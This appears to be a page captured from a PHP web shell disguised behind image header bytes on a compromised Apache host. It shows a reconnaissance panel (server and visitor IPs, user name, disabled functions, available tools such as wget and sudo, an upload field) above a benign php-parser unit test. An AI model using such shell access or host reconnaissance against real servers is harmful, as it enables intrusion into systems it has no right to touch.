ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.22.240.164 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/nicnAdmin/vendor/nikic/php-parser/test/PhpParser/Builder/ |
Upload File : |
<?php namespace PhpParser\Builder; use PhpParser\Comment; use PhpParser\Node; use PhpParser\Node\Name; use PhpParser\Node\Stmt; class TraitTest extends \PHPUnit_Framework_TestCase { protected function createTraitBuilder($class) { return new Trait_($class); } public function testStmtAddition() { $method1 = new Stmt\ClassMethod('test1'); $method2 = new Stmt\ClassMethod('test2'); $method3 = new Stmt\ClassMethod('test3'); $prop = new Stmt\Property(Stmt\Class_::MODIFIER_PUBLIC, array( new Stmt\PropertyProperty('test') )); $trait = $this->createTraitBuilder('TestTrait') ->setDocComment('/** Nice trait */') ->addStmt($method1) ->addStmts(array($method2, $method3)) ->addStmt($prop) ->getNode(); $this->assertEquals(new Stmt\Trait_('TestTrait', array( $prop, $method1, $method2, $method3 ), array( 'comments' => array( new Comment\Doc('/** Nice trait */') ) )), $trait); } /** * @expectedException \LogicException * @expectedExceptionMessage Unexpected node of type "Stmt_Echo" */ public function testInvalidStmtError() { $this->createTraitBuilder('Test') ->addStmt(new Stmt\Echo_(array())) ; } }